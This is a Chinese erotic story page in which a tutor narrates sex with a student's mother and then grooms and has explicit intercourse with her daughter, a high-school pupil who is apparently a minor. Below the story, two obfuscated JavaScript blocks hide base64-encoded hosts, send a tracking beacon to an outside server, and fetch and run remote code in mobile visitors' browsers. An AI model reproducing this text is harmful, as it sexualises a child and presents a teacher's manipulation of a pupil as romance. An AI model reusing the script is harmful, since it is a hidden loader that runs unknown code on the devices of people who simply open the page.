图片载入中

教书的日子(二)

特大字】 【大字】 【中字】 【小字

教书的日子(七之二)

教书的日子(二)

她趴着我躺着休息,因为二月天气还冷,我打开台灯到梳妆台拿卫生纸,温柔地帮她擦拭。

“抱我。”她闭眼握拳,光滑肌肤可见鸡皮疙瘩,我拉过棉被,呵护般地紧拥。

此时两人没有交谈,寂静夜里两个人各自盘算着如何走往下一步,她知道我在想什么,我也知道她在想什么;但是没有人知道下一步是什么。

“我们去吃东西吧!”我起身翻口袋拿出手机,11点了,肚子真的饿了。当过兵的着装动作当然快,不到30秒我已着好服装,坐在沙发欣赏她穿内裤、内衣、上衣,突然转头骂我偷看,我真是被她弄得啼笑皆非,一个35岁的熟女竟然在床上表现得好似18岁的怀春少女,喔,不,我不能再想起Tina。

等了好久她终于打扮好,好像第一次约会的小女生抓住我的左手,走向车库,她把车钥递给我,我知道她已经把我当成老公了。

从此,我那辆老爷车也停进车库,只要白天没事,Tina一上学,我就会报到,有时逛逛大卖场,回家两人准备午餐,有时跑去古迹游玩,拍下一张一张她美丽的倩影,有时两人在阳台泡茶看书,享受悠闲的生活。性趣一来,客厅沙发、钢琴椅、阳台、浴室、梳妆台都是我们做爱的地点,两人好像回到大学同居生活,充满年轻、自由、活力,最重要的是我们从未提及往后的计画。

这段时间,除了星期一到星期五晚上上课时间,白天我完全把生活重心摆在瑶瑶身上,礼拜天才回到租屋处洗衣服整理房间。我们也把Tina完全蒙在鼓里,毕竟有些事情能做不能说。

六月南部,天气越来越热,Tina越穿越少,多亏平常白天瑶瑶餵饱我,否则难担保自己兽性大发。有天做完爱之后,两人躺在床上,瑶瑶告诉我六月底直销公司招待日本旅游5天4夜,拜托我接送Tina上下课,而且碰上期末考,希望能多拨点时间督促课业。

那个星期六中午吃过饭,才1点左右我到了黄家,打行动给瑶瑶说我早到,因为我很想她,瑶瑶叹了口气小声地说好。帮我开门时,她要我小声点,Tina在睡午觉。我们两人蹑手蹑脚上到二楼房间,一进房门,我从后面抱住她,瑶瑶双手向后环抱,一阵激吻,我掀开瑶瑶上衣,隔着胸罩抓弄吸抠,瑶瑶似乎很怕吵到隔壁的Tina,想要速战速决,竟然主动脱下我的内裤,帮我口交,这在以前都是我主动要求,她才会做的,而且她告诉我,我是她第一个含屌的男人。我站在床边,瑶瑶跪在床上吸着我的老二,我闭眼享受让她服务。她见我老二完全挺立、青筋暴露,自己从长裙�拉下内裤,躺在床上,要我插入。我的长裤内裤只拖到膝盖处,把她双腿拉到床沿,跪下吸舔鲍鱼,熟悉的淫水味道加上还未洗澡,又骚又香令我老二更挺更大。瑶瑶双手压着嘴巴发出闷哼声,我站着弯着身子把龟头对准穴口,故意长驱直入,整根阳具直顶花心,瑶瑶啊地一声,赶紧再压住嘴巴怕吵醒Tina,这没有声音刺激的做爱让我不满,于是使出三浅一深再加滑出再挺进,弄得瑶瑶呜呜声连连,稍微让我扳回一城。我于是改九浅一深,故意拖延时间,看看瑶瑶奈我何。

“老公…快点射…Tina发现不好…”我心颤了一下,我没听错。

“你叫我什么?我听不见。”第一次听她喊我老公,心里都酥麻了。

“老公,好老公,快,我要……”她经过我这3个月调教,功力大增,懂得夹紧内阴刺激龟头,而且我两做爱次数不下百次,她略懂我的罩门,或说她女人骚荡天分已被我完全开启,我真有点忍不住,当下调匀唿吸,准备最后冲刺……突然…眼角瞄到有人在门边……天啊,除了Tina还会是谁?

“那我要射在哪里?嘴巴好吗?”我稍微提高音量,希望偷窥的Tina听清楚。也趁这机会希望瑶瑶答应口爆。

“好好,老公……”瑶瑶只能看见天花板,根本不晓得Tina正在偷看,我佯装配合,抽出鸡巴,跪在床上让瑶瑶吸吮,希望Tina能够了解男女性爱。另一方面,从未有人偷窥我做爱,这种感官刺激让我兴奋不已。

“啊啊…我要射了…”抓住瑶瑶头发鸡巴在嘴�来回抽插,鸡巴抖动把精液完全射在瑶瑶嘴里。

“吞下去。”我用胜利的口吻命令她,这时门口闪过Tina的身影,聪明的她应该知道床戏演完了,她回房去了。

满嘴精液的瑶瑶杏眼瞪我,跑到浴室去。我回她淫笑。

我穿好衣服自己下楼走出房子,看看手机才一点半,在巷外车子上略作休息,回味刚才一幕,揣测现在Tina的想法或感觉。可能性很多,这种年纪的少女心理很难捉摸,我只能见招拆招,反而担心她们母女关系是否生变,甚至影响我和瑶瑶的性爱关系,想到这,后悔已来不及,再说纸包不住火,Let it be! 走到黄宅一如往常按了电铃,瑶瑶偷偷捏了我手臂一下,似乎报复我要她吞精液一事。我笑笑掐了她屁股。她回头瞪我,我像个无赖似地傻笑。

“Tina,老师来了。”瑶瑶跟我站在楼梯,没有回答。

“她还没睡醒吧,我去叫她。”瑶瑶要上楼。

“不用了,我敲门叫她好了。”心中有底的我,知道事情是我惹出来的,这时候我来解决比较恰当。

“Tina,上课了。”走到门口,我敲了房门,装没事般地叫她。

“门没锁。”冷冷的声音。我知道这小女生把我当成爱慕的对象。现在的她吃的是她妈妈的醋!

我打开房门,Tina趴在床上捏着维尼熊的鼻子。

“怎么了?身体不舒服吗?”我装傻,拉过椅子坐在床边。她还是无意义地玩着维尼熊的鼻子。虽说现在不是欣赏她美腿的时候,我还是贪婪地盯着她的大腿,短裤微微露出臀部下缘,白皙的让我想咬她一口。她的胸部不大,压在床上往外挤,每次唿吸只见胸部起伏,我把思绪拉回。

“还是感冒了?”我往前关心的摸她额头,她没有闪躲,身体反而轻轻地抖了一下。我当然知道她没发烧,只是人类肉体的碰触远远胜过口头的关心,我是情场老手,深知其中奥妙,对付她真的就像古人说的‘杀鸡焉用牛刀’,而且我从未碰过她,刚刚轻轻一碰足以溶化一座冰山。

“告诉老师,你怎么了?”我用温柔的语调问她,情不自禁拨了拨她的秀发。 “不知道……”她摇摇头,一滴眼泪垂到脸颊。心生怜爱,我俯身伸手帮她擦干泪珠。不料她紧抓住我的手,双眼直盯着我。我只好坐到床上。

“乖,你哪里不舒服?”我演技一向不错,尤其对女生。我当然知道她现在内心充满矛盾,只是我只能装傻,另一方面,我脑海正在搜寻她可能出现的问题的最佳解答。

“老师,你喜不喜欢我?”她似乎下定决心后问我,眼睛不敢看我。

“喜欢,我当然喜欢你啊。”为了表示慎重,我很严肃的回答。我说的是实话,甚至该说迷恋,迷恋她青春的肉体;当然,她的问题还很长,我不能一下回答太多。如果你一下讲太多,她就会觉得你是说教,老灰仔一个,不但解不开她的心结,甚至对英文学习产生排斥;我是她的老师,不可以让事情这样恶化;我也是她妈妈的情人,我们正过着如同新婚般的甜蜜日子,不能因为她而遭到破坏;我也喜欢她青春洋溢的肉体,跟她在一起让我感觉到被崇拜的感觉,也让我重温初恋的感觉。所以,我要努力把事情导正,让三方面都不受到伤害,三个都能得到想要的,而解决的key就在我身上。

“真的?”她眼睛亮了起来,是泪珠吗?不是,因为她嘴角也往上翘,看的出她刚刚心�的慌乱都是因为我跟她妈妈的事情。

“可是你也喜欢我妈。”我吓了一跳,没料到她直接跟我摊牌。她悠悠地说,却也令我生怜。可是她敢这样问我,代表着她是一个敢恨敢爱的女生,这样的女生往往容易做出傻事。我必须好好回答,甚至必须要有抉择,否则一切都将生变。 “我更喜欢你。”我盯着她眼睛不放,她慢慢转头四目相接,我右手抓住她右手,她在发抖。我必须用行动证明。我把头往床靠近她,头已贴在床上,因为她趴着,我勉强把嘴唇贴在她的嘴唇,两人交换彼此的唿吸,一阵阵少女香甜气息吹着我的鼻子,我闭眼享受彷如置身一片青草地,百合花香带着阳光的味道袭来,嗅觉使得脑海出现我跟初恋女友坐在女生宿舍门口拥吻的味道,我没有再主动攻击,我想就这样闭眼过完这一辈子,心中毫无欲念;也许小头刚刚吃饱,大头还能自主;也或许我这样做才不会吓坏情窦初开的小女生。

我们双唇贴着,不知过了多久,我也不想睁开眼,把主动权交给Tina,我再来接招,似乎是比较理想的作法;她急促的唿吸慢慢缓匀,我还是闭眼享受她的初吻。

她缓缓移开嘴唇,抽回右手,整个人趴在我胸膛,头埋在我左耳,柔软酥胸压的我心猿意马,我两只手环抱她的腰部,因为她的上衣有点往上拉,所以我的手直接抱在她光滑的小蛮腰皮肤上,往上可以脱掉胸罩,往下可以伸进短裤隔着内裤爱抚屁股,我没有动。我知道我可以现在就成为她生命中的第一个男人,我可以温柔地呵护未经人世的小蜜穴;我也可以让她接受狂风暴雨地性爱;我也可以用柏拉图式的爱情滋润她对于爱情的渴望;最终,发球权还是在我手上。

“老师真的很喜欢你,有些事情却很难解释,可是,你真的是我最喜欢的女…人。”我右手抱着她的头,爱抚着秀发。她侧着头望着我。我知道,要说服她需要的很多时间,而且现在的女生在思想、观念上远远超乎大人。

“乖,听老师的话,不要胡思乱想,好好念书,期末考快到了,等期末考考完,你妈妈去日本玩,我也带你去玩,好吗?”

回到书桌,她很认真的看书,我也把心思拉回老师的角色,短短3个小时,我突然发现她长大了,看我的眼神不一样了,不像以前调皮的模样,甚至之前作答错误的时候惯有的吐舌也没有了,认真的表情让我既高兴又害怕;高兴的是她没有钻牛角尖,害怕的是我不能欺骗她的感情,否则对她伤害一定很大。

很快,下课时间到了,我起身准备离开,她坐着叫住我,双手环抱我的腰部,脸贴在我的肚子,舍不得我离开,我亲了亲她的头发,双手捧住她的脸,自然地两人亲了嘴,她快乐的笑了。满足地让我离开房间。

就这样过了两个多礼拜,礼拜四的早上,我开休旅车送瑶瑶到机场,她一再叮咛我要照顾Tina,我心�苦笑,跟她拥吻后,我开车回到黄宅约下午一点,而Tina下午考试到三点,还有两个小时,便拿着车上房门钥匙进去稍作休息。坐在沙发上打开电视,转来转去都没有好看的节目。于是打开钢琴盖,将近20年没碰钢琴了,弹起小时候一首比赛指定曲,很生涩的感觉,觉得很难听很无聊,盖上钢琴,走进Tina房间。我也不知道进来干什么,随手翻翻桌上的书,打开抽屉,一本粉红色的小本子吸引我的眼光。

�头写着都是一些无头无脑的抒发语,最后面那几页有几句让我怔住。

‘终于盼到他了 期待两人独处的快乐时光’

‘喜欢他身上的味道 有安全感的fu 他知道我爱他吗’

‘妈妈变了 好奇怪’

‘谎言的世界 生存之道’

‘他会拒绝我吗 我好怕’

盖上本子,我陷入沈思。

下午三点.女中校门口

远远看着穿着白色制服的Tina走出校门口朝车子走来,在一群同学里头更显现她特有的气质与甜美,阳光灿烂,她淡蓝色内衣若隐若现,丑爆的黑色长裙衬托她白皙匀称的小腿,我的龟头抖了一下,似乎抗议大头的理智,她微笑打开车门,我陪着笑脸,压抑一脸淫贼表情。

“数学考的怎样?”数学是她英文之外最头疼的科目。

“还好吧。”看得出她今天心情不错。

“明天剩下国文跟英文啰?”我打D档,学生很多,我慢慢开着。

“嗯,都念完了,你说要带我去玩的。”她开心的像一只小鸟。

“那也要明天考完啊!”

“人家都说我念完啦,老师!”她把老师加重音,不改调皮本性。

“唔,好吧,那你想去哪里玩?”

“耶!都好。”她把头靠在我右手,我慌忙踩油门,这里学生太多了。酥胸靠在手臂上,我赶紧专心开车。

我往沙滩方向开去,我喜欢这�夏天的海岸线,这时间人很少,连海巡署都懒得巡逻。把车停在路边,走过堤岸,一片大海反射阳光,波光潾潾好似钻石般炫光,Tina脱掉鞋子往沙滩跑去。强风把群摆扬起,她边跑边遮,我快笑死,脱掉皮鞋,我用百米速度追上她。

“Tina走光了、走光了…哈哈哈…来抓我啊…”我边跑边喊,跑过她身边,她想抓我,我一闪,加快速度。她追着我,我故意放慢、又加速,逗得她娇喘嘘嘘。

“啊……”她跌坐沙滩。我想这小妮子竟敢骗我,我才不上当。不过,她脸上的表情很逼真,抓着右脚喊痛,我往前一瞧,天啊,右脚掌拇指下流血了,应该是玻璃碎片割伤,我咒骂了一下哪个缺德鬼。

“流血了,痛不痛?”我跪着擡高她的脚。

“有一点。”她眉头揪在一起,令我生怜。

环顾四周,没有自来水,拨开细沙,我用嘴巴帮伤口清洁,她想要抽回,我紧紧的抓住叫她不要动,我满口鲜血加细沙,一直吸着伤口,只要把细菌吸出来,应该没事。慢慢的血越流越少,她的脸却越来越红。

“走,我们回家擦药。”我抓住她的右手绕过脖子,左手抱着小蛮腰,让她一脚站起来,她把半身靠在我身上,风很大,我们慢慢走向车子,横在眼前的是防波堤,45度的防波堤。

“来,老师背你。”我蹲在她前面,她把身体靠在我身上,我双手向后交叉抱起她的大腿,往上一擡,还好,Tina不重约40公斤,我加速冲上防波堤,再往下冲,她的双手紧紧抱着我,酥胸顶着背部,好不舒服。让她在车内坐好,我又跑回去拿鞋子,才回到车上。

“还痛吗?”我温柔地问。她摇摇头。

一路上她出奇的安静,我停在药局买了碘酒跟纱布,回到家帮她清洁伤口再上药,还好伤口约两公分,已经止血,应该很快就好了。

“哇,沙发都是沙…真的是沙发了。”我夸张的说。

“噗…”她笑了。

我赶紧到一楼的洗手间拿起抹布慢慢善后,大理石地板上都是细沙,Tina就坐着看我工作。终于把地上清干净了。

“Tina小姐,你的裙子都是沙,可以把裙子给我吗?”我一手叉腰一手伸出,故意欺负她。

“讨厌耶你。”她害羞地低头。

“乖,去洗澡,我要整理沙发了。注意伤口。”

她一跛一跛地上楼,我找到吸尘器很快就就把沙发弄干净了。看墙上时钟已经快五点,我拿着延长线接上吸尘器把车子吸干净,

我的国中班也是期末考,今天考英文,所以连两天都没课,也就是说到下礼拜一瑶瑶回来之前,都是我跟Tina独处的时光。

“Tina洗好了吗?”走到Tina房门,我敲敲门。没有回音,浴室传来水声,我打开房门,在书桌上留纸条‘老师回去洗澡,六点半带你去吃饭’

回到租屋处洗冷水澡,想浇熄对于Tina肉体的幻想,总是忘不了沙滩上,我擡起她的脚,看见那美丽大腿跟白色小裤裤的冲动,当时算是“救人”不做他想,现在回想那一幕,老二马上勃起,洗完澡,它还是昂然挺立。

再回到黄宅,屋子没有开灯一片漆黑,我没有按电铃,拿起瑶瑶给我的钥匙开门进去,上到二楼敲了敲门。

“老师进来。”

我打开门,房间也是一片漆黑,我顺手打开门边打开电灯开关。

“不要开灯!”我吓了一跳,反射动作关灯。一刹那看见Tina裹着被子躺在床上。

“你怎么了?”我靠着微弱的屋外路灯,摸索着到床边。

她躲在被子�,我伸手摸她,只摸到丝被,我扯开一点被子,想要她露出脸,她还是紧紧抓住被子。我坐在床沿,问她怎么了,她总是不回答。有点火了的我用力抓开被子,她马上抢回裹着身子,这下,我真的火了。

“Tina,不要闹了,该吃饭了。”

“我不饿。”

就这样“卢”了好几次。我实在搞不懂她闹什么脾气,我没有对她凶过,可是这次,我真的火大了,用力把被子抢了过来,因晦暗的路灯我依稀看见她全裸,我的手松开被子。她再裹住身子,没有说话。

“把衣服穿上。”我下命令。

“我要把第一次给你。”她的手伸出被子抓住我的手,摇了两下,好似跟我道歉,我想到我多年经验而发现的真理“人类肉体的碰触远远胜过口头的关心”,竟然她也用在我身上。我心软了,小头硬了。

“你知道你在做什么吗?”我轻声说道。

“嗯。”

我抱着一团棉被爱抚,因为理智跟兽性依旧拉扯。

她伸出头抱着我亲嘴,我伸出舌头慢慢滑过她牙齿,慢慢探索她的舌头,她被动地与我舌头翻搅,少女的芳香激起我的原始欲望,口干舌燥的我尽情吸吮甘甜琼液。脱掉衬衫西裤,我拥她入怀,两人交缠彼此呢喃,渴望互相的慰藉,哪管世俗眼光。我抚爱她光滑背部,从上到下止于臀部,掌握双乳止于乳头;也许心里对于瑶瑶愧疚,也许对于为人师表的不齿,我的脑袋几近空白,最后,在Tina主动脱掉我内裤后,我发狂了。

我含着乳头,32B的柔软乳房充满幽香,每次轻咬,Tina喉间呜呜作响;双手掐住青春弹性的屁股,水蛇腰随之起舞;低头亲啜肚脐,双腿来回摩擦。 这是我做过最长的前戏,还没到私处的前戏已经30分钟有余,Tina未经人世,当然以我为准,我忖该是时候了。

翻开丝被,我分开她的双腿,埋首于她最私密的三角地带,她原有抗拒,忽地两腿松开,一缕处女幽香令我鸡巴大涨,舌头轻舔,感觉的到穴口毫无空隙,舌头分开左右阴唇,淫水汨汨流出,这是初淫,我贪心吞下。往上寻找小豆子,慢慢地小豆变硬,穴口微开。我的鼻子嘴巴都有Tina淫水的味道,处女淫水的味道。 Tina主动的付出,却是被动的配角,我是老师,教育的天职感油然而生,我把大鸡巴放在她嘴边,静静观察她的反应。

她顿了一下,我再次用手把大鸡巴往她嘴边送去。

“老师,你要射了吗?”她怯怯地问。

我哪有要射?开什么玩笑?哎呀,她上次偷窥我跟她妈妈做爱,以为鸡巴含在女人嘴巴就是要射精,天啊,教育出了什么问题,第一志愿的学府竟然交出性教育零分的女学生。要是每个男人都射在女人嘴巴,人类不就绝种了?

“不是,你含着它,代表你爱这个男人。”我有点心虚的说。

黑暗中,她点点头,开口含着它,毫无意外地,她就是含着它。台湾的高材生!

我抓着她的手教她套弄阳具,告诉她技巧就像舔冰淇淋、吸波霸奶茶一样。聪明的Tina照做,我再要求她尊重睾丸的地位。

还是聪明的学生学得快,我满足地亲吻她,虽然开着冷气,她的额头还是冒着汗珠,我想该是她成为真正女人的时候了。

我准备好传教士体位,她任我摆布。

“老师要进去啰!有点痛,你可以忍吗?”我双手拉开她膝盖。

“嗯!”她用力点头,看来她期待这天很久了。

老马果真识途,我一顶,穴口张开,半个龟头挺进。

“啊,好痛……”她轻唿。

“深唿吸,等一下老师进去记得深唿吸,懂吗?”我知道处女膜就在眼前,不突破它,Tina永远不能变成一个真正的女人,让她成为我的女人是她的心愿,也是我的职责。

我稍用力一挺,她又喊痛,我故意浅浅挺进三次,让阴道习惯老二的尺寸,突地如刺枪术一般‘前进突刺,刺!’我冲过坚韧薄膜,一举冲过万难达阵。

“嘤嘤…好痛…老师不要了…好痛痛喔……”我跪着不动,我知道小蜜穴要时间习惯我粗大的阳具。

“还疼吗?老师好心疼你。”废话,戳你屁眼不疼吗?我只是用温柔的口吻降低她的痛楚,用时间换取阴道的扩张罢了,不要忘了,baby的头会比你的龟头小吗?

“嗯,好多了。”她急促地回答,只能证明她爱我,愿意忍受肉体的疼痛来取悦我。

“老师先不要动,老师爱你。”我在她耳边灌迷汤。

此时鸡巴涨的不像话,隐约感觉处女之血慢慢流出,我用丹田控制鸡巴大小,变大Tina就喊痛,顺便在我背部划上指甲痕,变小Tina就紧紧抱着我。真跟她妈同一模子。

约莫过了5分钟,我缓缓抽出鸡巴,Tina竟然挺腰向上不让鸡巴黎开小穴,我见机不可失,抽插起来。

“啊啊啊……啊…我……哼…我……老…师…我啊唉…”我听的全身酥麻,决定内射,待会要去药局买事后丸。

“老师要射啰,宝贝。”

“嗯,好,老公,你射吧。”一听她叫我老公,我忍不住射了。

我们相拥,等龟头慢慢滑出才到浴室洗鸳鸯浴,两人就这样疯狂做爱,直到清晨3点她才抱着我睡着。

她考完试接下来的3天,我们疯狂的做爱,直到礼拜一中午我们出发往机场接瑶瑶还在路边再做一次,4天做了17次,我这辈子大概不可能破纪录了,更惨的是当晚我和瑶瑶到汽车旅馆又做了3次。短短一年这对母女至少和我做过400次。一个星期六下午,我和Tina在床上上课被瑶瑶撞见,伤心的她要我离开这个都市,我伤心地离开,流浪到东部。


上一篇:真正的乳酪

下一篇:补习班的柜台小姐


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};